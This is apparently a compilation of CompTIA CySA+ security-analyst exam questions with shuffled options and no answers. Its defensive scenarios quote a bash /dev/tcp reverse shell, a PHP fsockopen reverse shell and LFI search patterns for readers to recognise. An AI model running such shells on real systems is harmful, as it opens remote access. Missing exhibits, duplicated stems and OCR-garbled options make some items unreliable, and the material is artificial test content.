An analyst views the following log entries:

The organization has a partner vendor with hosts in the 216.122.5.x range. This partner vendor is required to have access to monthly reports and is the only external vendor with authorized access.
The organization prioritizes incident investigation according to the following hierarchy: unauthorized data disclosure is more critical than denial of service attempts.
which are more important than ensuring vendor data access.
Based on the log files and the organization's priorities, which of the following hosts warrants additional investigation?

D. 216.122.5.5
C. 202.180.1582
B. 134.17.188.5
A. 121.19.30.221

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #91

Which of the following can be used to learn more about TTPs used by cybercriminals?

C. National Institute of Standards and Technology
D. theHarvester
A. ZenMAP
B. MITRE ATT&CK

Question #25

A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation
A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities
D. Notify the SOC manager for awareness after confirmation that the activity was intentional
C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation

Question #171

A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment. Which of the following must be considered to ensure the consultant does no harm to operations?

B. Preserving the state of PLC ladder logic prior to scanning
C. Using passive instead of active vulnerability scans
D. Running scans during off-peak manufacturing hours
A. Employing Nmap Scripting Engine scanning techniques

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #82

A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

B. #!/bin/bash ps -fea | grep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
D. #!/bin/bash netstat -antp Igrep 8080 >dev/null && echo 'Malicious activity' I| echo 'OK'
A. #!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo 'Malicious activity' Il echo 'OK'
C. #!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo 'Malicious activity' I| echo 'OK'

Question #36

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

D. Limitation of liability
B. MOU
A. SLA
C. NDA

Question #214

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

A. Enrich the SIEM-ingested data to include all data required for triage
C. Filter all alarms in the SIEM with low seventy
B. Schedule a task to disable alerting when vulnerability scans are executing
D. Add a SOAR rule to drop irrelevant and duplicated notifications

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #281

Which of the following is a commonly used four-component framework to communicate threat actor behavior?

D. MITRE ATT&CK
B. Diamond Model of Intrusion Analysis
A. STRIDE
C. Cyber Kill Chain

Question #105

Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

B. Data enrichment
A. Command and control
C. Automation
D. Single sign-on

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #27

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

A. External
D. Credentialed
C. Non-credentialed
B. Agent-based

Question #49

Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

C. Present all legal evidence collected and turn it over to iaw enforcement
B. Determine if an internal mistake was made and who did it so they do not repeat the error
A. Identify any improvements or changes in the incident response plan or procedures
D. Discuss the financial impact of the incident to determine if security controls are well spent

Question #38

B. Agent-based
C. Non-credentialed
A. External
D. Credentialed

Question #163

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?

C. BIA
D. SLA
A. MOU
B. NDA

Question #189

A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account. Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?

C. Contact human resources and recommend the termination of the employee
A. Scan the employee's computer with virus and malware tools
D. Assign security awareness training to the employee involved in the incident
B. Review the actions taken by the employee and the email related to the event

Question #175

A security analyst scans a host and generates the following output:

Which of the following best describes the output?

D. The host is vulnerable to web-based exploits.
B. The host is running a vulnerable mail server.
C. The host is allowing unsecured FTP connections.
A. The host is unresponsive to the ICMP request.

Question #132

A security analyst discovers an ongoing ransomware attack while investigating a phishing email. The analyst downloads a copy of the file from the email and isolates the affected workstation from the network. Which of the following activities should the analyst perform next?

A. Wipe the computer and reinstall software
B. Shut down the email server and quarantine it from the network
D. Search for other mail users who have received the same file
C. Acquire a bit-level image of the affected workstation

Question #35

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?

D. Navigate to the File menu and select FTP from the Export objects option
A. Change the display filter to ftp.active.port
B. Change the display filter to tcp.port==20
C. Change the display filter to ftp-data and follow the TCP streams

Question #13

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing?

D. Actions on objectives
B. Reconnaissance
C. Command and control
A. Exploitation

Question #134

The vulnerability analyst reviews threat intelligence regarding emerging vulnerabilities affecting workstations that are used within the company:

Which of the following vulnerabilities should the analyst be most concerned about, knowing that end users frequently click on malicious links sent via email?

A. Vulnerability A
C. Vulnerability C
D. Vulnerability D
B. Vulnerability B

Question #210

Using open-source intelligence gathered from technical forums, a threat actor compiles and tests a malicious downloader to ensure it will not be detected by the victim organization's endpoint security protections. Which of the following stages of the Cyber Kill Chain best aligns with the threat actor's actions?

B. Reconnaissance
D. Weaponization
A. Delivery
C. Exploitation

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #52

Several critical bugs were identified during a vulnerability scan. The SLA risk requirement is that all critical vulnerabilities should be patched within 24 hours. After sending a notification to the asset owners, the patch cannot be deployed due to planned, routine system upgrades

Which of the following is the best method to remediate the bugs?

A. Reschedule the upgrade and deploy the patch
B. Request an exception to exclude the patch from installation
C. Update the risk register and request a change to the SLA
D. Notify the incident response team and rerun the vulnerability scan

Question #94

A systems analyst is limiting user access to system configuration keys and values in a Windows environment. Which of the following describes where the analyst can find these configuration items?

A. config.ini
D. Registry
B. ntds.dit
C. Master boot record

Question #218

A leader on the vulnerability management team is trying to reduce the team's workload by automating some simple but time-consuming tasks. Which of the following activities should the team leader consider first?

D. Regularly checking agent communication with the central console
B. Analyzing false positives
C. Rendering an additional executive report
A. Assigning a custom recommendation for each finding

Question #88

An incident response team member is triaging a Linux server. The output is shown below:

Which of the following is the adversary most likely trying to do?

A. Create a backdoor root account named zsh.
C. Send a beacon to a command-and-control server.
D. Perform a denial-of-service attack on the web server.
B. Execute commands through an unsecured service account.

Question #1

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to
confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

Question #14

An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.)

E. Obfuscated links
A. Beaconing
C. Social engineering attack
D. On-path attack
F. Address Resolution Protocol poisoning
B. Domain Name System hijacking

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #51

After updating the email client to the latest patch, only about 15% of the workforce is able to use email. Windows 10 users do not experience issues, but Windows 11 users have constant issues. Which of the following did the
change management team fail to do?

C. Rollback
D. Validation
A. Implementation
B. Testing

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #53

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on it infected hosts,
including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause?
(Select two)

D. Prefetch files
B. Registry artifacts
A. Creation time of dropper
C. EDR data
E. File system metadata
F. Sysmon event log

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #89

Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following authentication methods should the analyst use?

B. User and password
C. PAM
A. MFA
D. Key pair

Question #185

A cybersecurity team has witnessed numerous vulnerability events recently that have affected operating systems. The team decides to implement host-based IPS, firewalls and two-factor authentication. Which of the following does this most likely describe?

D. Secure access service edge
B. Hybrid network architecture
A. System hardening
C. Continuous authorization

Question #47

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

D. OWASP
A. OSSTMM
C. SOAR
B. SIEM

Question #60

A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the most urgent vulnerabilities: c

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

A. InLoud: Cobain: Yes - Grohl: No - Novo: Yes - Smear: Yes - Channing: No
D. PBleach: Cobain: Yes - Grohl: No - Novo: No - Smear: No - Channing: Yes
B. TSpirit: Cobain: Yes - Grohl: Yes - Novo: Yes - Smear: No - Channing: No
C. ENameless: Cobain: Yes - Grohl: No - Novo: Yes - Smear: No - Channing: No

Question #206

While reviewing web server logs, a security analyst discovers the following suspicious line:

php -r ’$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");’

Which of the following is being attempted?

B. Command injection
A. Remote file inclusion
D. Reverse shell
C. Server-side request forgery

Question #170

Two employees in the finance department installed a freeware application that contained embedded malware. The network is robustly segmented based on areas of responsibility. These computers had critical sensitive information stored locally that needs to be recovered. The department manager advised all department employees to turn off their computers until the security team could be contacted about the issue. Which of the following is the first step the incident response staff members should take when they arrive?

A. Turn on all systems, scan for infection, and back up data to a USB storage device.
D. Log on to the impacted systems with an administrator account that has privileges to perform backups.
C. Explain that malware cannot truly be removed and then reimage the devices.
B. Identify and remove the software installed on the impacted systems in the department.
E. Segment the entire department from the network and review each computer offline.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #92

An analyst is conducting monitoring against an authorized team that win perform adversarial techniques. The analyst interacts with the team twice per day to set the stage for the techniques to be used.

Which of the following teams is the analyst a member of?

A. Orange Team
C. Red Team
B. Blue Team
D. Purple Team

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #268

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the firewall feed stopped working?

A. The firewall service account was locked out.
C. The firewall certificate expired.
D. The firewall failed open.
B. The firewall was using a paid feed.

Question #167

A regulated organization experienced a security breach that exposed a list of customer names with corresponding PII data. Which of the following is the best reason for developing the organization's communication plans?

B. To ensure incidents are immediately reported to a regulatory agency
A. For the organization's public relations department to have a standard notification
C. To automate the notification to customers who were impacted by the breach
D. To have approval from executive leadership on when communication should occur

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #138

The Chief Executive Officer (CEO) has notified that a confidential trade secret has been compromised. Which of the following communication plans should the CEO initiate?

A. Alert department managers to speak privately with affected staff.
B. Schedule a press release to inform other service provider customers of the compromise.
C. Disclose to all affected parties in the Chief Operating Officer for discussion and resolution.
D. Verify legal notification requirements of PII and SPII in the legal and human resource departments.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #22

A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for
an auditing process. Which of the following is an example of a tool that can produce such evidence?

B. Burp Suite
D. Wireshark
C. Nmap
A. OpenVAS

Question #155

A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for an auditing process. Which of the following is an example of a tool that can produce such evidence?

C. Nmap
D. Wireshark
B. Burp Suite
A. OpenVAS

Question #213

Which of the following stakeholders are most likely to receive a vulnerability scan report? (Choose two.)

D. Legal
C. Marketing
E. Product owner
F. Systems administration
B. Law enforcement
A. Executive management

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #6

Which of the following best describes the reporting metric that should be utilized when measuring the degree to which a system, application, or user base is affected by an uptime availability outage?

A. Timeline
B. Evidence
D. Scope
C. Impact

Question #168

C. PAM
A. MFA
D. Key pair
B. User and password

Question #98

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

D. cat /proc/self/
C. ; printenv
A. /etc/shadow
B. curl localhost

Question #11

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first?

C. DNS
A. CDN
D. Web server
B. Vulnerability scanner

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #118

A company has a primary control in place to restrict access to a sensitive database. However, the company discovered an authentication vulnerability that could bypass this control. Which of the following is the best compensating control?

A. Running regular penetration tests to identify and address new vulnerabilities
B. Conducting regular security awareness training of employees to prevent social engineering attacks
C. Deploying an additional layer of access controls to verify authorized individuals
D. Implementing intrusion detection software to alert security teams of unauthorized access attempts

Question #15

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

B. Ensure that all implemented coding libraries are regularly checked
A. Conduct regular red team exercises over the application in production
D. Implement proper input validation for any data entry form
C. Use application security scanning as part of the pipeline for the CI/CD flow

Question #83

A security analyst needs to ensure that systems across the organization are protected based on the sensitivity of the content each system hosts. The analyst is working with the respective system owners to help determine the best methodology that seeks to promote confidentiality, availability, and integrity of the data being hosted. Which of the following should the security analyst perform first to categorize and prioritize the respective systems?

D. Determine the asset value of each system.
A. Interview the users who access these systems.
B. Scan the systems to see which vulnerabilities currently exist.
C. Configure alerts for vendor-specific zero-day exploits.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #144

A security analyst noticed the following entry on a web server log:

Warning:

fopen (http://127.0.0.1:16) : failed to open stream:
Connection refused in /hj/var/www/showimage.php on line 7

Which of the following malicious activities was most likely attempted?

B. CSRF
A. XSS
D. RCE
C. SSRF

Question #131

After identifying a threat, a company has decided to implement a patch management program to remediate vulnerabilities. Which of the following risk management principles is the company exercising?

C. Mitigate
A. Transfer
D. Avoid
B. Accept

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #259

An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender Which of the following information security goals is the analyst most likely trying to achieve?

D. Integrity
B. Authentication
C. Authorization
A. Non-repudiation

Question #165

An analyst is reviewing system logs while threat hunting:

Which of the following hosts should be investigated first?

B. PC2
E. PC5
D. PC4
C. PC3
A. PC1

Question #226

A security analyst observed the following activity from a privileged account:

• Accessing emails and sensitive information
• Audit logs being modified
• Abnormal log-in times

Which of the following best describes the observed activity?

B. Unauthorized privileges
D. Insider attack
C. Rogue devices on the network
A. Irregular peer-to-peer communication

Question #114

A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should the security analyst consider running?

A. grep [IP address] packets.pcap
B. cat packets.pcap | grep [IP Address]
C. tcpdump -n -r packets.pcap host [IP address]
D. strings packets.pcap | grep [IP Address]

Question #193

An email hosting provider added a new data center with new public IP addresses. Which of the following most likely needs to be updated to ensure emails from the new data center do not get blocked by spam filters?

C. SMTP
B. SPF
D. DMARC
A. DKIM

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #269

An incident responder was able to recover a binary file through the network traffic. The binary file was also found in some machines with anomalous behavior. Which of the following processes most likely can be performed to understand the purpose of the binary file?

B. Traffic analysis
D. Machine isolation
C. Reverse engineering
A. File debugging

Question #77

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVSSv3.1 impact metrics for prioritization:

Which of the following vulnerabilities should be prioritized for remediation?

B. 2
A. 1
D. 4
C. 3

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #78

A systems administrator notices unfamiliar directory names on a production server. The administrator reviews the directory listings and files, and then concludes the server has been compromised. Which of the following steps should the administrator take next?

B. Follow the company's incident response plan.
D. Determine when the access started.
C. Review the lessons learned for the best approach.
A. Inform the internal incident response team.

Question #57

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

A. Human resources must email a copy of a user agreement to all new employees
B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement
C. All new employees must take a test about the company security policy during the onboardmg process
D. All new employees must sign a user agreement to acknowledge the company security policy

Question #115

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics. Which of the following attack vectors should the analyst remediate first?

C. CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
D. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
B. CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
A. CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Question #55

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?

D. Shut down the affected server immediately
C. Restore from the last known-good backup to confirm there was no loss of connectivity
B. Log m to the affected server and begin analysis of the logs
A. Clone the virtual server for forensic analysis

Question #43

A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

B. function x() { info=$(ping -c 1 $1 | awk -F "/" ’END{print $5}’) && echo "$1 | $info" }
C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" ’{print $1} ').origin.asn.cymru.com TXT +short) && echo "$1 | $info" }
A. function x() { info=$(geoiplookup $1) && echo "$1 | $info" }
D. function x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo "$1 | $info" }

Question #45

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

B. Include references and sources of information on the first page
D. Decide on the color scheme that will effectively communicate the metrics
A. Determine the sophistication of the audience that the report is meant for
C. Include a table of contents outlining the entire report

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #228

Which of the following best explains the importance of communicating with staff regarding the official public communication plan related to incidents impacting the organization?

A. To establish what information is allowed to be released by designated employees
D. To define how each employee will be contacted after an event occurs
C. To ensure that all news media outlets are informed at the same time
B. To designate an external public relations firm to represent the organization

Question #174

A Chief Information Security Officer wants to implement security by design, starting with the implementation of a security scanning method to identify vulnerabilities, including SQL injection, RFI, XSS, etc. Which of the following would most likely meet the requirement?

C. Dynamic application security testing
B. Known environment testing
A. Reverse engineering
D. Code debugging

Question #144

A recent audit of the vulnerability management program outlined the finding for increased awareness of secure coding practices. Which of the following would be best to address the finding?

D. Deploy more vulnerability scanners for increased coverage
C. Hire an external penetration test of the network
A. Establish quarterly SDLC training on the top vulnerabilities for developers
B. Conduct a yearly inspection of the code repositories and provide the report to management.

Question #103

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst’s concern?

D. There are no compensating controls in place for the OS.
A. Any discovered vulnerabilities will not be remediated.
C. Support will not be available for the critical machinery.
B. An outage of machinery would cost the organization money.

Question #188

A cybersecurity analyst is doing triage in a SIEM and notices that the time stamps between the firewall and the host under investigation are off by 43 minutes. Which of the following is the most likely scenario occurring with the time stamps?

C. The firewall is using UTC time
A. The NTP server is not configured on the host
B. The cybersecurity analyst is looking at the wrong information
D. The host with the logs is offline

Question #173

Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

B. Implement vulnerability management.
C. Deploy sandboxing.
D. Update the application blocklist.
A. Install a firewall.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #32

The SOC received a threat intelligence notification indicating that an employee's credentials were found on the dark web. The user's web and log-in activities were reviewed for malicious or anomalous connections, data uploads/downloads, and exploits. A review of the controls confirmed multifactor authentication was enabled.

Which of the following should be done first to mitigate impact to the business
networks and assets?

A. Perform a forced password reset.
C. Perform an ad hoc AV scan on the user's laptop.
D. Review and ensure privileges assigned to the user's account reflect least privilege.
E. Lower the thresholds for SOC alerting of suspected malicious activity.
B. Communicate the compromised credentials to the user.

Question #184

A security analyst is trying to validate the results of a web application scan with Burp Suite. The security analyst performs the following:

Which of the following vulnerabilities is the security analyst trying to validate?

A. SQL injection
B. LFI
C. XSS
D. CSRF

Question #6

A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:

Which of the following scripting languages was used in the script?

A. PowerShell
B. Ruby
C. Python
D. Shell script

Question #22

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

D. Card issuer
A. PCI Security Standards Council
B. Local law enforcement
C. Federal law enforcement

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #54

During an incident, some loCs of possible ransomware contamination were found in a group of servers in a segment of the network. Which of the following steps should be taken next?

A. Isolation
D. Preservation
C. Reimaging
B. Remediation

Question #8

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:

Security Policy 1006: Vulnerability Management
1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.
2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.
3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.
According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

C. Name: LOKI.DAGGER - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H External System
A. Name: THOR.HAMMER - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Internal System
B. Name: CAP.SHIELD - CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N External System
D. Name: THANOS.GAUNTLET - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Internal System

Question #46

A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective?

D. Query the file hashes using VirusTotal
C. Execute the binaries on an environment with internet connectivity
A. Upload the binary to an air gapped sandbox for analysis
B. Send the binaries to the antivirus vendor

Question #110

A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface. Which of the following should the analyst do first?

A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
C. Check configurations to determine whether USB ports are enabled on company assets.
D. Review logs to see whether this exploitable vulnerability has already impacted the company.
B. Write a removable media policy that explains that USBs cannot be connected to a company asset.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #79

Which of the following is the most appropriate action a security analyst to take to effectively identify the most security risks associated with a locally hosted server?

D. Execute a vulnerability scan against the target host.
B. Contract an external penetration tester to attempt a brute-force attack.
C. Download a vendor support agent to validate drivers that are installed.
A. Run the operating system update tool to apply patches that are missing.

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #12

Which of the following makes STIX and OpenloC information readable by both humans and machines?

C. OVAL
A. XML
D. TAXII
B. URL

Question #221

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on its infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause? (Choose two.)

F. Sysmon event log
B. Registry artifacts
D. Prefetch files
C. EDR data
E. File system metadata
A. Creation time of dropper

Question #33

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?

C. Risk assessment
D. Access control lists
A. Firewall logs
B. Indicators of compromise

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #116

During an incident, a security analyst discovers a large amount of Pll has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee's personal email.

Which of the following should the analyst recommend be done first?

A. Place a legal hold on the employee's mailbox.
D. Configure a deny rule on the firewall.
C. Disable the public email access with CASB.
B. Enable filtering on the web proxy.

Question #56

A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation?

C. Anomalous activity on unexpected ports
B. Data exfiltration
A. C2 beaconing activity
D. Network host IP address scanning
E. A rogue network device

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #16

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

C. Validation
D. Rollback
B. Implementation
A. Testing

Question #120

An organization was compromised, and the usernames and passwords of all employees were leaked online. Which of the following best describes the remediation that could reduce the impact of this situation?

D. Password encryption
A. Multifactor authentication
C. System hardening
B. Password changes

Question #74

A cloud team received an alert that unauthorized resources were being auto-provisioned. After investigating, the team suspects that cryptomining is occurring. Which of the following indicators would most likely lead the team to this conclusion?

D. Unusual traffic spikes
C. Unauthorized changes
B. Bandwidth consumption
A. High GPU utilization

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #180

A security analyst is reviewing events that occurred during a possible compromise. The analyst obtains the following log:

Which of the following is most likely occurring, based on the events in the log?

A. An adversary is attempting to find the shortest path of compromise.
D. An adversary is performing a password stuffing attack.
C. An adversary is escalating privileges.
B. An adversary is performing a vulnerability scan.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #48

During a security test, a security analyst found a critical application with a buffer overflow vulnerability.
Which of the following would be best to mitigate the vulnerability at the application level?

A. Perform OS hardening.
D. Configure address space layout randomization.
B. Implement input validation.
C. Update third-party dependencies.

Question #160

An analyst is becoming overwhelmed with the number of events that need to be investigated for a timeline. Which of the following should the analyst focus on in order to move the incident forward?

C. Mean time to detect
A. Impact
D. Isolation
B. Vulnerability score

Question #51

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

B. Cyber Kill Cham
A. MITRE ATT&CK
D. STIX/TAXII
C. OWASP

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #81

A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules. Which of the
following scanning techniques would be most efficient to achieve the objective?

A. Deploy agents on all systems to perform the scans.
B. Deploy a central scanner and perform non-credentialed scans.
D. Deploy a scanner sensor on every segment and perform credentialed scans.
C. Deploy a cloud-based scanner and perform a network scan.

Question #156

A security analyst performs a vulnerability scan. Based on the metrics from the scan results, the analyst must prioritize which hosts to patch. The analyst runs the tool and receives the following output:

Which of the following hosts should be patched first, based on the metrics?

B. host02
C. host03
A. host01
D. host04

CompTIA.CS0-003.vJan-2024.by_.Lena_.91q.pdf

Question #57

A Chief Information Security Officer (CISO) wants to disable a functionality on a business-critical web application that is vulnerable to RCE in order to maintain the minimum risk level with minimal increased cost.
Which of the following risk treatments best describes what the CISO is looking for?

B. Mitigate
D. Avoid
C. Accept
A. Transfer

Question #211

D. ISO 27001
C. OWASP Top Ten
A. CIS Benchmarks
B. PCI DSS

Question #129

Security analysts review logs on multiple servers on a daily basis. Which of the following implementations will give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually?

D. Automate the emailing of logs to the analysts.
A. Deploy a database to aggregate the logging
B. Configure the servers to forward logs to a SIEM
C. Share the log directory on each server to allow local access.

CompTIA-CS0-003 ,27.01.24-unlocked.pdf

Question #141

A security analyst recently used Arachni to perform a vulnerability assessment of a newly developed web application. The analyst is concerned about the following output:

[+] XSS: In form input 'txtSearch' with action https://localhost/search.aspx
[-] XSS: Analyzing response #1...
[-] XSS: Analyzing response #2...
[-] XSS: Analyzing response #3...
[+] XSS: Response is tainted. Looking for proof of the vulnerability.

Which of the following is the most likely reason for this vulnerability?

D. The developer did not set proper cross-site request forgery protections.
A. The developer set input validation protection on the specific field of search.aspx.
B. The developer did not set proper cross-site scripting protections in the header.
C. The developer did not implement default protections in the web application build.

Question #187

An analyst investigated a website and produced the following:

Which of the following syntaxes did the analyst use to discover the application versions on this vulnerable website?

D. nmap -A insecure.org
A. nmap -sS -T4 -F insecure.org
B. nmap -C insecure.org
C. nmap -sV -T4 -F insecure.org

Question #227

A vulnerability management team found four major vulnerabilities during an assessment and needs to provide a report for the proper prioritization for further mitigation. Which of the following vulnerabilities should have the highest priority for the mitigation process?

D. A vulnerability that is related to an isolated system, with no IoCs
A. A vulnerability that has related threats and IoCs, targeting a different industry
B. A vulnerability that is related to a specific adversary campaign, with IoCs found in the SIEM
C. A vulnerability that has no adversaries using it or associated IoCs

Question #104

Which of the following describes the best reason for conducting a root cause analysis?

B. The root cause analysis allows the incident to be properly documented for reporting.
C. The root cause analysis develops recommendations to improve the process.
A. The root cause analysis ensures that proper timelines were documented.
D. The root cause analysis identifies the contributing items that facilitated the event.

Question #40

